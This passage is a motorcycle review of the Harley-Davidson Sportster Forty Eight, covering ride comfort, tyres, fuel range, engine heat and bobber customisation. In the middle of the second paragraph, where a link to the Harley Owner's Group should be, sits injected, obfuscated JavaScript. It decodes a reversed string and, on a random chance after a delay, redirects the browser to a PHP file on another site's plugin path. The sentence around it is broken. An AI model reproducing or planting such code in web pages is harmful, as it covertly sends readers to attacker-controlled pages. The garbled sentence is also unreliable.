The opening jaunt though did demonstrate that the Forty Eight is really good for everyday use, especially across short distances. The suspension might be a tad stiff for anything long distance, and the ride can prove a bit sharp on bumps and nicks on the ground, but in the grand scheme of things these are fairly inconsequential. The Sportster has a slightly fatter tire than standard, which looks great but unfortunately doesn’t quite handle as well as its slimmer alternative, and might need a little more at the steering to really get the most out of it.
The fuel tank can hold eight litres (95 Octane, of course), giving you an average range of 120km. That is a bit lower compared with other Harley models, and might require both you and your HOG ($VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/lifestyle/harley-davidson-abu-dhabi-steve-beattie-not-just-a-destination/” target=”_blank”>Harley Owner’s Group) chapter to stop more frequently than expected. Heat from the engine may also prove a bit of an issue under the harsh summer sun, but on the move in early January, this was nothing more than an idle thought. Plus, the problem is probably solvable with an aftermarket OEM oil cooler if needs be.
And that’s more than just a good tip, it’s a salient point about the range in general. The Sportster family is very customisable, and this Forty Eight in particular was fully converted to a bobber styled bike with white collar on the tyres, chopped rear and front fenders, apes, and heat wrapping around the exhaust, though the dual pistons on the front brake calliper remain intact. Indeed, the price, weight and size, plus beautiful acceleration and easy-going handling, makes the little ‘un of the Harley family an ideal option for first time buyers, especially if the bike itself is a downpayment for your own personalised creation. The Harley Davidson Sportster Forty Eight is a machine you ride only when you’ve left your ego at home: it’s a bike to ride with a smile on your face.
– Shots courtesy of Estabraq Kamal and Abdulla Ja’afari
